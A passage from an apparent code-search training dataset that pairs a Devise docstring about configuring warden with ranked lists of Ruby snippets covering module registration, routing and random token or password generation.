"def register_controls( *modules )\n\t\tsupported_controls = self.supported_control_oids\n\t\tself.log.debug \"Got %d supported controls: %p\" %\n\t\t\t[ supported_controls.length, supported_controls ]\n\n\t\tmodules.each do |mod|\n\t\t\toid = mod.const_get( :OID ) if mod.const_defined?( :OID )\n\t\t\traise NotImplementedError, \"%s doesn't define an OID\" % [ mod.name ] if oid.nil?\n\n\t\t\tself.log.debug \"Checking for directory support for %p (%s)\" % [ mod, oid ]\n\n\t\t\tif supported_controls.include?( oid )\n\t\t\t\t@registered_controls << mod\n\t\t\telse\n\t\t\t\traise Treequel::UnsupportedControl,\n\t\t\t\t\t\"%s is not supported by %s\" % [ mod.name, self.uri ]\n\t\t\tend\n\t\tend\n\tend",
"def including_modules\n if block_given?\n ::Module.instances do |m|\n yield m if m.included_modules.include? self\n end\n else\n enum_for :including_modules\n end\n end",
"def configure_devise_permitted_parameters\n # We can't easily override here the internal Devise::RegistrionController used by the\n # Engine, because the engine is not namespaced.\n # So we have to resort to some tinkering right here:\n# DEBUG\n# logger.debug( \"\\r\\n\\r\\n!! =====[ #{self.class.name}: configure_devise_permitted_parameters ]====\" )\n# logger.debug( \"- resource...: \" << resource.inspect )\n# logger.debug( \"- PARAMS.....: \" << params.inspect )\n# logger.debug( \"- CTRL.......: \" << params[:controller] )\n# logger.debug( \"- ACTION.....: \" << params[:action] )\n\n # User new/create: do not allow any parameter if recaptcha fails:\n if (params[:controller].to_s == 'devise/registrations') &&\n ( (params[:action].to_s == 'new') || (params[:action].to_s == 'create') )\n# logger.debug( \"In devise/registrations...\" )\n\n if (params[:action].to_s == 'new') || (params[:action].to_s == 'create' && verify_recaptcha)\n devise_parameter_sanitizer.permit(:sign_up) do |user_params|\n user_params.permit(\n :email, :password, :password_confirmation,\n :name, :first_name, :last_name, :description, :year_of_birth\n )\n end\n flash[:error] = nil\n else\n flash[:error] = I18n.t('search_view.captcha_fail')\n end\n end\n\n # User edit/update:\n devise_parameter_sanitizer.permit(:account_update) do |user_params|\n user_params.permit(\n :email, :password, :password_confirmation,\n :name, :first_name, :last_name, :description, :year_of_birth\n )\n end\n end",
"def rexval_modules_hook!\n yield\n end",
"def prepended_modules; end",
"def modules_for_helpers(args); end",
"def rygsaek_modules_hook!\n yield\n end",
"def register_framework_extensions\n register Padrino::Mailer if padrino_mailer?\n register Padrino::Helpers if padrino_helpers?\n register Padrino::Admin::AccessControl if authentication?\n end",
"def load_modules\n @log.info \"Loading modules...\"\n\n modules.each do |mod|\n require mod[:file]\n klass = eval(mod[:class_name])\n\n self.on_command klass.main_command do |command, from|\n self.send_message from, klass.exec_command(command)\n end\n end\n end",
"def replace_module(mod1, mod2) end",
"def add_devise_route # :nodoc:\n devise_route = <<-ROUTE\n\n devise_for :users,\n path: '',\n path_names: {\n :sign_in => 'login',\n :sign_out => 'logout',\n :sign_up => 'create',\n :password => 'reset_password',\n :confirmation => 'confirm_user',\n :registration => 'account'\n }\n ROUTE\n inject_into_file \"config/routes.rb\",\n devise_route,\n after: %r{Application\\.routes\\.draw do\\n}\n end",
"def add_extends out, extends\n add_extension_modules out, 'Extended by', extends\n end",
"def install_helpers # :nodoc:\n mod = @module\n ActionView::Base.class_eval do\n include mod\n end\n end",
"def add_module(name)\n add_namespace(name, \"\")\n end",
"def register_hook(mod, name, trigger = nil, types = /channel/, &p)\n raise \"Please define a block\" if not block_given?\n raise \"That command is already hooked.\" if @hooks[name]\n raise \"The module given is not a module\" if not mod.is_a?(HookService)\n trigger ||= lambda{|*| return true} # set trigger if someone has allowed it to be default\n raise \"Cannot call the trigger expression (type: #{trigger.class})! Ensure it responds to call()\" if not trigger.respond_to?(:call)\n \n # Ensure types is an array and is full of regex\n types = [types] if not types.is_a?(Array)\n types.map!{|x| (x.is_a? Regexp) ? x : Regexp.new(x.to_s)} # convert to rx if not already\n \n @hooks_mutex.synchronize{\n # Ensure defaults and register \n @hooks[name] ||= {}\n @hooks[name] = {:types => types, :trigger => trigger, :proc => p, :module => mod}\n \n # Register a given hook or command for a give module\n @modules[mod] ||= {:hooks => [], :cmds => [], :threads => [], :threaded => mod.threaded?}\n @modules[mod][:hooks] << name\n }\n\n $log.debug \"Registered hook '#{name}'\"\n end",
"def instantiate_modules\n mods = Array(modules)\n mods = load!(mods) if callback?(:load)\n Array(mods).map do |klass|\n init!(klass) || klass.new(fetchable)\n end\n end",
"def extended_modules; end"
] | [
"0.5874596",
"0.57253146",
"0.56865597",
"0.5641712",
"0.5517758",
"0.53963614",
"0.53904074",
"0.5383018",
"0.53597116",
"0.53132",
"0.5231754",
"0.5211694",
"0.5181778",
"0.51176196",
"0.50330204",
"0.50075495",
"0.49249724",
"0.48759675",
"0.48558316",
"0.48558316",
"0.48543793",
"0.48278615",
"0.48055616",
"0.47478575",
"0.4746035",
"0.47106716",
"0.46946195",
"0.46918964",
"0.46843594",
"0.46840277",
"0.46367842",
"0.46362472",
"0.46050474",
"0.46026555",
"0.4589691",
"0.45856237",
"0.45856073",
"0.45829388",
"0.45808777",
"0.45730174",
"0.45675355",
"0.45459256",
"0.45443588",
"0.45340976",
"0.45314828",
"0.4516737",
"0.45166165",
"0.45049217",
"0.4501565",
"0.4499678",
"0.44924286",
"0.44787553",
"0.44706103",
"0.4457111",
"0.44331908",
"0.44317767",
"0.44201344",
"0.44199842",
"0.441445",
"0.4408597",
"0.44028464",
"0.43976182",
"0.43751684",
"0.43730915",
"0.43670958",
"0.43670958",
"0.4332213",
"0.43109798",
"0.42960697",
"0.4295406",
"0.42857045",
"0.42847908",
"0.42832232",
"0.42820317",
"0.42792186",
"0.42767334",
"0.42701074",
"0.42660764",
"0.4263232",
"0.4263232",
"0.4252741",
"0.42381096",
"0.42343664",
"0.42139032",
"0.42041367",
"0.41955495",
"0.41939923",
"0.419031",
"0.41832614",
"0.41762084",
"0.41759413",
"0.41736886",
"0.41687253",
"0.41635653",
"0.41438687",
"0.41373762",
"0.41345167",
"0.4132807",
"0.41312748",
"0.41293356"
] | 0.5827348 | 1 |
A method used internally to complete the setup of warden manager after routes are loaded. See lib/devise/rails/routes.rb ActionDispatch::Routing::RouteSetfinalize_with_devise! source://devise//lib/devise.rb482 | def configure_warden!; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def finalize_artifacts\n \n return if skip_method(__method__)\n \n puts \"finalize Rails routes in config/routes.rb\"\n \n add_routes(@@rails_routes)\n \n # create the navigation menu\n finalize_menu\n \n end",
"def setup_controller_for_warden; end",
"def after_initialize\n super\n extension_loader.activate_extensions # also calls initialize_views\n TrustyCms::Application.config.add_controller_paths(extension_loader.paths(:controller))\n TrustyCms::Application.config.add_eager_load_paths(extension_loader.paths(:eager_load))\n end",
"def finalize\n @discover_controllers = false\n self\n end",
"def finalize!\n # Finalize nested configs\n assets.finalize!\n actions.finalize!\n views.finalize!\n logger.finalize!\n router.finalize!\n\n use_body_parser_middleware\n\n super\n end",
"def setup_warden_additions\n @failure_app = Oath::Lockdown::FailureApp\n @lockable_authentication_strategy = Oath::Lockdown::Strategies::LockablePasswordStrategy\n @remember_me_authentication_strategy = Oath::Lockdown::Strategies::RememberMeStrategy\n @warden_authentication_strategies = [:oath_remember_me, :oath_lockable, :oath]\n @warden_no_input_authentication_strategies = [:oath_remember_me]\n end",
"def warden\n @warden ||= begin\n env['warden']\n end\n end",
"def setup\n # this method gets called before *each* omniauth endpoint call, so try to avoid logging when we're returning from\n # oauth'ing\n unless stored_register_redirect\n reg_redirect = params[:r]\n reg_redirect ||= request.referer if params[:ot] && (params[:ot] == \"far\") # facebook auth referral\n store_register_redirect(reg_redirect)\n end\n\n unless stored_auth_redirect\n auth_redirect = params[:r]\n auth_redirect ||= root_path if params[:state] && (params[:state] == 'w')\n store_auth_redirect(auth_redirect)\n end\n\n remember_remember_me\n remember_signup_flow_scope\n remember_signup_flow_type\n remember_signup_flow_origin_type\n remember_signup_flow_destination\n remember_signup_flow_network\n render :text => \"Setup complete.\", :status => 404\n end",
"def teardown\n Warden.test_reset!\n end",
"def devise_modules_hook!; end",
"def finalize_dirs\n @finalize_dirs || Dbt::Config.default_finalize_dirs\n end",
"def setup_router(scope); end",
"def prepare_routes\n return if Rails.configuration.eager_load || Rails.env == \"test\" \n begin\n Rails.application.routes_reloader.reload! \n rescue SystemStackError\n # NOP -- Supressing Stack Level Too deep error\n # caused by models being loaded lazily during development mode.\n end\n end",
"def finalize_dirs\n @finalize_dirs || DbTasks::Config.default_finalize_dirs\n end",
"def update_routes\n insert_into_file 'config/routes.rb', %(\n root :to => 'portal#page'\n DrgCms.routes\n\n put '/portal/process_login'\n post '/reports/diary'\n\n resources :init # remove after initial run\n\n get '*path' => 'portal#page'\n\n),\n after: 'Rails.application.routes.draw do'\nend",
"def anchored_routes; end",
"def finalize\n # No more config changes allowed\n config.freeze\n yield if block_given?\n loader.() if config.auto_register.key?(:root_directory)\n registry\n end",
"def update_routes\n inject_into_file 'config/routes.rb', after: \"devise_for :users\" do <<-'RUBY'\n, controllers: { omniauth_callbacks: \"omniauth_callbacks\" }\n RUBY\n end\n\n puts 'Check out your config/routes.rb where the devise OAuth route was created'.colorize(:light_green)\n end",
"def after_initialize_with_engine_additions\r\n Engines.after_initialize\r\n after_initialize_without_engine_additions\r\n end",
"def devise_install(&block)\n if block_given?\n Devise.setup do |config|\n block.call config\n end\n end\n end",
"def add_devise_route # :nodoc:\n devise_route = <<-ROUTE\n\n devise_for :users,\n path: '',\n path_names: {\n :sign_in => 'login',\n :sign_out => 'logout',\n :sign_up => 'create',\n :password => 'reset_password',\n :confirmation => 'confirm_user',\n :registration => 'account'\n }\n ROUTE\n inject_into_file \"config/routes.rb\",\n devise_route,\n after: %r{Application\\.routes\\.draw do\\n}\n end",
"def setup\n Rails.cache.clear if File.exists?(File.join(Rails.root, 'tmp', 'cache'))\n Rails.application.reload_routes!\n end",
"def after_initialize_with_appable_plugins\n after_initialize_without_appable_plugins\n inject_controller_paths\n \n # Inject dependencies when being loaded after initialization in case\n # loaded_plugins was loaded as a gem midway through application initialization\n inject_dependencies(:after_initialize)\n end",
"def devise_mappings; end",
"def auth_setup\n service = Person::OmniauthService::SetupPhase.new(community: @current_community, params: params, request: request)\n service.run\n render :plain => \"Setup complete.\", :status => 404 #This notifies the ominauth to continue\n end",
"def warden; end",
"def warden; end",
"def warden; end",
"def setup_routes\n if prefix\n pre = prefix.to_s[1..-1] + '/'\n end\n model_regexp = Regexp.union(models.keys.map{|m| Regexp.escape(m)})\n controller = @controller.name.sub(/Controller\\z/, '').underscore\n ::Rails.application.routes.prepend do\n match \"#{pre}:autoforme_model/:autoforme_action(/:id)\" , :controller=>controller, :action=>'autoforme', :via=>[:get, :post],\n :constraints=>{:autoforme_model=>model_regexp, :autoforme_action=>ALL_SUPPORTED_ACTIONS_REGEXP}\n end\n ::Rails.application.reload_routes!\n end",
"def warden\n env['warden']\n end",
"def warden\n env['warden']\n end",
"def setup\n mutex.synchronize do\n break if @setup\n\n actual_root_dirs.each do |root_dir, namespace|\n set_autoloads_in_dir(root_dir, namespace)\n end\n\n on_setup_callbacks.each(&:call)\n\n @setup = true\n end\n end",
"def post_setup\n end",
"def devise_controller?; end",
"def after_magic_link_authentication\n end",
"def handle_routes\n instance_exec(@_roda_app.request, &self.class.router_block)\n end",
"def after_setup\n # do nothing by default\n end",
"def setup_application!\n return if @_configured\n self.register_framework_extensions\n self.calculate_paths\n self.register_initializers\n self.require_load_paths\n self.disable :logging # We need do that as default because Sinatra use commonlogger.\n I18n.load_path += self.locale_path\n I18n.reload!\n @_configured = true\n end",
"def after_initialized\n end",
"def install_devmode_route\n super\n ActionController::Routing::RouteSet.class_eval do\n return if defined? draw_without_test_route\n\n def draw_with_test_route\n draw_without_test_route do |map|\n map.connect(':controller/:action/:id')\n yield(map)\n end\n end\n alias_method_chain(:draw, :test_route)\n end\n # Force the routes to be reloaded\n ActionController::Routing::Routes.reload!\n end",
"def load_routes\n\n # get our routes\n routes = Rails.application.routes.routes.to_a\n\n # filter out internal routes, those outside our base context, and those with no name\n routes.reject!{ |r| r.internal or !r.defaults.key?( :controller ) or r.name.nil? }\n\n # finally, map everything to a simpler version\n self.routes = routes.map do |r|\n {\n controller: r.defaults[:controller],\n action: r.defaults[:action].to_sym,\n name: r.name,\n params: r.parts.reject{ |p| p == :format }\n }\n end\n\n end",
"def after_resolution\n end",
"def after_view_setup\n end",
"def after_sign_up_path_for(resource)\n after_register_path\n end",
"def strategies\n Warden::Strategies\n end",
"def finalize_flow!\n redirect!(custom_session['return_to'])\n teardown_flow\n throw(:warden)\n end",
"def warden\n request.env['warden']\n end",
"def warden\n request.env['warden']\n end",
"def warden\n request.env['warden']\n end",
"def warden\n request.env['warden']\n end",
"def after_sign_up_path_for(resource)\n usermgmt_path\n end",
"def after_provision_path\n MnoEnterprise.router.dashboard_path || main_app.root_path\n end",
"def _init\n unless @_initialized\n @_initialized = true\n self.routes = Array.new\n self.mutex = Mutex.new\n end\n end",
"def after_devise_action_for(resource)\n stored_location_for(resource) || root_url\n end",
"def after_sign_up_path_for(resource)\n # binding.irb\n super\n # super(resource) do\n edit_user_registration_path\n # end\n # binding.irb\n # if resource[:role] == 'guest'\n # new_guest_path\n # else\n # new_host_path\n # end\n end",
"def reset_routes!\n router.reset!\n default_routes!\n end",
"def after_token_authentication\n end",
"def after_token_authentication\n end",
"def _routes; end",
"def after_custom_authentication; end",
"def initialize\n #load_config\n load_routes\n end",
"def route_sets; end",
"def after_setup(ant)\n end",
"def authenticate!\n warden.authenticate!\n end",
"def callback_phase\n # Prep the urls using the account ID.\n # TODO: Could we use the :setup option and a Proc\n # to handle this rather than call here? \n set_omniauth_zendesk_urls\n\n # Continue the request as usual.\n super\n end",
"def after_database_authentication; end",
"def initialize_routing\n configuration.add_controller_paths(extension_loader.paths(:controller))\n configuration.add_eager_load_paths(extension_loader.paths(:eager_load))\n super\n end",
"def setup_router\n self.router = Fastr::Router.new(self)\n self.router.load\n end",
"def after_initializers(&block)\n after_blocks << block\n end",
"def management\n prepareBaseContext\n end",
"def external_routes; end",
"def after_custom_authentication\n\n end",
"def setup\n @request.env[\"devise.mapping\"] = Devise.mappings[:admin]\n sign_in FactoryGirl.create(:admin)\n end",
"def account_setup # GET 'admins#account_setup'\n authenticate_admin\n if @current_admin == nil\n redirect_to root_path\n end\n end",
"def set_route_information\n @routes = {\n :root_url => root_url,\n :root_path => root_path,\n :customers_delete_path => customers_delete_path, \n :customers_all_path => customers_all_path,\n :customers_all_url => customers_all_url,\n :customers_creation_form_url => customers_creationform_url,\n :customers_creation_form_path => customers_creationform_path,\n :customers_edit_form_path => customers_editform_path,\n :customers_edit_form_url => customers_editform_url,\n :contacts_customer_contacts_path => contacts_customer_contacts_path,\n :contacts_customer_contacts_url => contacts_customer_contacts_url,\n :contacts_delete_path => contacts_delete_path,\n :contacts_delete_url => contacts_delete_url,\n :contacts_createForm_path => contacts_createForm_path,\n :contacts_createForm_url => contacts_createForm_url,\n :contacts_update_path => contacts_update_path,\n :contacts_update_url => contacts_update_url,\n :contacts_editform_path => contacts_editform_path,\n :contacts_editform_url => contacts_editform_url\n }\n end",
"def inject_vlr_routes\n unless IO.read(\"config/routes.rb\").include?('CommonwealthVlrEngine::Engine')\n marker = 'Rails.application.routes.draw do'\n insert_into_file \"config/routes.rb\", :after => marker do\n %q{\n\n root :to => 'pages#home'\n\n # routes for CommonwealthVlrEngine\n mount CommonwealthVlrEngine::Engine => '/commonwealth-vlr-engine'\n\n # user authentication\n devise_for :users, :controllers => {:omniauth_callbacks => \"users/omniauth_callbacks\", :registrations => \"users/registrations\", :sessions => \"users/sessions\"}\n}\n end\n\n bl_root_marker = 'root to: \"catalog#index\"'\n gsub_file(\"config/routes.rb\", bl_root_marker, \"\")\n\n end\n end",
"def after_initialize\n return unless new_record?\n self.routes_filled = false\n self.messages_read = false\n end",
"def load_all_routes(roda_app)\n roda_app.request.public\n\n if Bridgetown.env.development? &&\n !Bridgetown::Current.preloaded_configuration.skip_live_reload\n setup_live_reload roda_app\n end\n\n Bridgetown::Rack::Routes.sorted_subclasses&.each do |klass|\n klass.merge roda_app\n end\n end",
"def refresh_route_tables!\n @route_tables = init_route_tables\n end",
"def after_successful_token_authentication\n set_driver\n end",
"def after_loading_app_code(options)\n UnionStationHooks.check_initialized\n end",
"def bootstrap\n\n if (self.csrf_token.nil?)\n csrf!\n end\n\n #\n # First need developer token\n #\n if (self.developer_token.nil?)\n config!\n end\n\n #\n # Need to login too\n #\n if (self.access_token.nil?)\n login!\n end\n end",
"def setup_all\n setup_all_options\n save_validate_user { setup_successfull }\n end",
"def after_init(&block)\n config.internal.after_init = block\n end",
"def eager_load!\n mappings = Devise.mappings.values.map(&:modules).flatten.uniq\n controllers = Devise::CONTROLLERS.values_at(*mappings)\n path = paths.app.controllers.to_a.first\n matcher = /\\A#{Regexp.escape(path)}\\/(.*)\\.rb\\Z/\n\n Dir.glob(\"#{path}/devise/{#{controllers.join(',')}}_controller.rb\").sort.each do |file|\n require_dependency file.sub(matcher, '\\1')\n end\n\n super\n end",
"def after_sign_in_path_for(resoruce)\r\n \r\n if resource.is_a?(User)\r\n if User.count == 1\r\n resource.add_role 'admin'\r\n end\r\n resource\r\n end\r\n root_path\r\n end",
"def after_initialize\n end",
"def after_initialize\n # test if request == post and if so if authtoken is present and valid\n if @request.post?\n token=@params[:_authtoken]\n if token\n raise \"Doozer Authtoken Tampered With!\" if not authtoken_matches?(token)\n else\n raise \"Doozer Authtoken Missing! By default, post requests require an authtoken. You can override this by adding the action to the after_initialize_exclude list.\" if not authtoken_matches?(token)\n end\n end\n end",
"def eager_load!\n mappings = Devise.mappings.values.map(&:modules).flatten.uniq\n controllers = Devise::CONTROLLERS.values_at(*mappings)\n path = paths.is_a?(Hash) ? paths[\"app/controllers\"].first : paths.app.controllers.first\n matcher = /\\A#{Regexp.escape(path)}\\/(.*)\\.rb\\Z/\n\n Dir.glob(\"#{path}/devise/{#{controllers.join(',')}}_controller.rb\").sort.each do |file|\n require_dependency file.sub(matcher, '\\1')\n end\n\n super\n end",
"def after_sign_up_path_for(resource)\n\n end",
"def route_tables\n @route_tables ||= init_route_tables\n end",
"def after_hash_token_authentication\n end",
"def after_sign_up_path_for(resource)\n super(resource)\n end",
"def after_sign_up_path_for(resource)\n super(resource)\n end",
"def after_initialize_blocks\n @after_initialize_blocks ||= []\n end",
"def after_init\n if token.nil?\n disable_agent\n end\n end",
"def each(&block)\n _init\n\n routes.each(&block)\n end",
"def after_resolution\n nil\n end",
"def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end",
"def on_setup\n nil\n end"
] | [
"0.57292837",
"0.5662245",
"0.5465966",
"0.5375262",
"0.5354061",
"0.53004056",
"0.52240586",
"0.52220803",
"0.5179177",
"0.5097509",
"0.50777185",
"0.5066792",
"0.50453264",
"0.50387084",
"0.5012676",
"0.4940567",
"0.4918251",
"0.49097115",
"0.48773956",
"0.48754072",
"0.48701966",
"0.4869532",
"0.4857299",
"0.48126364",
"0.48057598",
"0.47851765",
"0.47851765",
"0.47851765",
"0.47726429",
"0.47590303",
"0.47590303",
"0.47541073",
"0.47495896",
"0.4724127",
"0.4704932",
"0.470449",
"0.47033098",
"0.47001797",
"0.46927613",
"0.4692486",
"0.46894482",
"0.46725515",
"0.46713158",
"0.464009",
"0.46357352",
"0.46220446",
"0.46156535",
"0.46156535",
"0.46156535",
"0.46139708",
"0.45998144",
"0.45926198",
"0.4585494",
"0.45536187",
"0.45365247",
"0.45323437",
"0.45317072",
"0.45317072",
"0.4524236",
"0.45235938",
"0.45126846",
"0.4500877",
"0.44968542",
"0.44947848",
"0.4493275",
"0.44918358",
"0.44857806",
"0.4485241",
"0.44848332",
"0.44677028",
"0.44664943",
"0.44658488",
"0.4464924",
"0.44648007",
"0.44491458",
"0.44242817",
"0.442108",
"0.44199607",
"0.44172317",
"0.4411925",
"0.44089502",
"0.4404887",
"0.4400976",
"0.43958613",
"0.4382917",
"0.438174",
"0.43773937",
"0.43728834",
"0.4372769",
"0.4372201",
"0.43671542",
"0.43641037",
"0.4350359",
"0.4350359",
"0.43436646",
"0.4342338",
"0.43397593",
"0.43367144",
"0.43317097",
"0.4317772"
] | 0.57931936 | 0 |
Generate a friendly string randomly to be used as token. By default, length is 20 characters. source://devise//lib/devise.rb507 | def friendly_token(length = T.unsafe(nil)); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def random_token\n 32.times.map{ rand(36).to_s(36) }.join # 32 alphanumeric characters\n end",
"def friendly_token(length = 20)\n # To calculate real characters, we must perform this operation.\n # See SecureRandom.urlsafe_base64\n rlength = (length * 3) / 4\n SecureRandom.urlsafe_base64(rlength).tr('lIO0', 'sxyz')\n end",
"def friendly_token\n SecureRandom.base64(32).tr('+/=lIO0', 'pqrsxyz')\n end",
"def generate_secure_token_string\n SecureRandom.urlsafe_base64(25).tr('lIO0', 'sxyz')\n end",
"def generate_random_token\n SecureRandom.hex(15)\n end",
"def random_token\n SecureRandom.hex(20)\n end",
"def rand_token\n\t\ttok = rand(36**8).to_s(36)\n\t\tif tok.length < 8\n\t\t\trand_token\n\t\telse\n\t\t\ttok\n\t\tend\n\tend",
"def generate_token\n SecureRandom.hex(10)\n end",
"def generate_token\n o = [('a'..'z'), ('A'..'Z')].map(&:to_a).flatten\n token = (0...50).map { o[rand(o.length)] }.join\n return token\n end",
"def rand_string(length = 10)\r\n rand(36**length).to_s(36)\r\n end",
"def rand_string(length = 10)\n rand(36**length).to_s(36)\n end",
"def generate_token\n UUIDTools::UUID.random_create.to_s\n end",
"def generate_token(length = 48)\n SecureRandom.base64(length)\n end",
"def generate_token\n SecureRandom.hex(64)\nend",
"def rand_string(length = 10)\n\t\trand(36**length).to_s(36)\n\tend",
"def generate_random_token\n #generates a random hex string of length 5\n unless self.random_token\n self.random_token = SecureRandom.hex(5)\n end\n end",
"def rand_token length=36\r\n\ttoken = ''\r\n\tlength.times do\r\n\t\ttoken += (random(0, 2)==1) ? (random(0,10).to_s) : (rand_let())\r\n\tend\r\n\ttoken\r\nend",
"def random_token length = 5\n token = \"\"\n alphabets = \"abcdefghijklmnopqrstuvwxyz\"\n 1.upto(length) do |i|\n idx = rand(alphabets.length)\n token += alphabets[idx..idx]\n end\n return token\nend",
"def generate_password\r\n return rand(36 ** 20).to_s(36)\r\n end",
"def random_string(length)\n rand(36**length).to_s(36)\n end",
"def make_token\n secure_digest(Time.now, (1..10).map{ rand.to_s })\n end",
"def random_name\n SecureRandom.hex(20)\n end",
"def randstr\n\trand(36 ** 8).to_s(36)\nend",
"def generate_token\n self.token ||= SecureRandom.hex(16)\n end",
"def random_token\n SecureRandom.urlsafe_base64\n end",
"def generateRandomString ()\n return SecureRandom.hex(4)\nend",
"def generate_access_token\n allowed_chars = [*'0'..'9', *'a'..'z', *'A'..'Z'].join\n self.access_token = 128.times.map { allowed_chars[rand(allowed_chars.size)] }.join\n end",
"def generate_token\n self.token = Devise.friendly_token\n end",
"def generate_token\n self.token ||= Base64.urlsafe_encode64(SecureRandom.random_bytes(12))\n end",
"def generatePlayerToken\n\t\to = [('a'..'z'), ('A'..'Z')].map { |i| i.to_a }.flatten\n\t\tstring = (0...50).map { o[rand(o.length)] }.join\n\t\treturn string\n\tend",
"def generate_token\n SecureRandom.urlsafe_base64.tap do |token|\n logger.debug \"Generated token #{token}\"\n end\n end",
"def random_chars(length = 64)\n return rand(36**length).to_s(36)\nend",
"def token\n @token ||= \"%x-%s\" % [ Time.now.to_i, SecureRandom::hex(4) ]\n end",
"def ran_str_maker\r\n length = 10\r\n ran_str = rand(36**length).to_s(36)\r\n return ran_str\r\nend",
"def generate_authentication_token\n SecureRandom.hex(8)\n end",
"def generate_password\n self.password = Devise.friendly_token.first(8)\n end",
"def random_string\n letters = [['!','\"','$','&',';','@'],\n ('a'..'z').to_a,\n ('A'..'Z').to_a,\n ('0'..'9').to_a].flatten\n (1..16).map { |i| letters[ rand(letters.length) ] }.join\n end",
"def random_word(length = 5)\r\n rand(36**length).to_s(36)\r\nend",
"def generate_token\n\t\tself.token = SecureRandom.hex\n end",
"def generate_random_id\n len = 8\n chars = (\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a + (\"0\"..\"9\").to_a\n newpass = \"\"\n 1.upto(len) { |i| newpass << chars[rand(chars.size-1)] }\n return newpass\n end",
"def get_random_string\r\n length=30\r\n source=(\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a + (0..9).to_a + [\"_\",\"-\"]\r\n key=\"\"\r\n length.times{ key += source[rand(source.size)].to_s }\r\n return key\r\nend",
"def random_word(length = 5)\n rand(36**length).to_s(36)\nend",
"def random_word(length = 5)\n rand(36**length).to_s(36)\nend",
"def random_word(length = 5)\n rand(36**length).to_s(36)\nend",
"def random_word(length = 5)\n rand(36**length).to_s(36)\nend",
"def generate_token\n self.perishable_token = Digest::MD5.hexdigest(\"#{Time.now}\")\n end",
"def generate_password\n charset = %w{ 2 3 4 6 7 9 A C D E F G H J K M N P Q R T V W X Y Z @ # $ & ! }\n (0...6).map{ charset.to_a[rand(charset.size)] }.join\n end",
"def generate_token\n self.token = SecureRandom.base64(64)\n end",
"def generate_password\n password = [('a'..'z'), ('A'..'Z'),(0..9)].map { |i| i.to_a }.flatten\n (8...32).map { password[rand(password.length)] }.join\n end",
"def friendly_token(length=40)\n Pillowfort::Helpers::DeprecationHelper.warn(self.name, :friendly_token, :friendly_secret)\n friendly_secret(length)\n end",
"def make_token\r\n # From the restful-authentication plug-in\r\n args = [ Time.now, (1..10).map{ rand.to_s } ]\r\n Digest::SHA1.hexdigest(args.flatten.join('--'))\r\n end",
"def generate_token\n token_gen = SecureRandom.hex\n self.token = token_gen\n token_gen\n end",
"def generate_token(size)\n validity = Proc.new {|token| Token.where(:token => token).first.nil?}\n\n begin\n token = SecureRandom.hex(size)[0, size]\n token = token.encode(\"UTF-8\")\n end while validity[token] == false\n\n token\n end",
"def get_random_identifier\n SecureRandom.hex\n end",
"def generate_token(n: 36)\n token = nil\n loop do\n token = SecureRandom.urlsafe_base64(n)\n return token if valid_new_token?(token)\n end\n end",
"def generate_token\n loop do\n token = SecureRandom.base64(44).tr(\"+/=\", \"xyz\").first(16).upcase\n break token unless self.class.where(:token => token).first\n end\n end",
"def password(length=20)\n SecureRandom.base64(length+2).tr('=', '')\n end",
"def generate_token\n self.token = SecureRandom.urlsafe_base64\n end",
"def generate_auth_token!\n loop do\n @token = Devise.friendly_token\n break unless Token.find_by(token: @token)\n end\n self.tokens.create token: @token\n return @token\n end",
"def new_token\n \t SecureRandom.urlsafe_base64\n \tend",
"def generate_token\n self.token = SecureRandom.hex if new_record?\n end",
"def generate_secret\n rand(36**secret_length).to_s(36)\n end",
"def generate_token\n\t\tUUIDTools::UUID.timestamp_create.to_s\n\tend",
"def random_id\n \"#{('a'..'z').to_a.sample}-#{SecureRandom.alphanumeric(6)}\"\n end",
"def generate_reset_password_token!\n characters = ('a'..'z').to_a + ('A'..'Z').to_a \n self.reset_password_sent_at = Time.zone.now.utc\n self.reset_password_token = (1..12).map{characters.sample}.join # Generate a 12-length random string\n save(:validate => false)\n end",
"def generate_auth_token\n\t token = SecureRandom.hex\n\t #self.update_columns(token_key: token)\n\t token\n\t end",
"def random_password(size=10)\n random_string(size, :chars, 'ABCDEFGHJKLMNPQRSTUVWXYabcdefghkmnpqrstuvwxyz23456789#%^&$*i-_+=')\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\nend",
"def generate_password\n [*('a'..'z'), *('A'..'Z'), *('0'..'9')].sample(8).join\n end",
"def generate_password\n generated_password = Devise.friendly_token.first(8)\n p generated_password\n self.password = generated_password\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n SecureRandom.urlsafe_base64\n end",
"def new_token\n \t\tSecureRandom.urlsafe_base64\n \tend",
"def create_password(length)\n chars = ('a' .. 'z').to_a + ('1' .. '9').to_a + '%$?@!'.split(//)\n Array.new(length, '').collect { chars[rand(chars.size)] }.join\nend",
"def new_token\n\t\tSecureRandom.urlsafe_base64\n\tend",
"def generate_random_string(length=8)\n chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ'\n string = ''\n length.times { string << chars[rand(chars.size)] }\n return string\nend",
"def random_string(length=nil)\n length = Random.rand(32) if length.nil?\n (0...length).map { random_character }.join('')\nend",
"def generate_auth_token\n token = SecureRandom.hex\n self.update_columns(auth_token: token)\n token\n end",
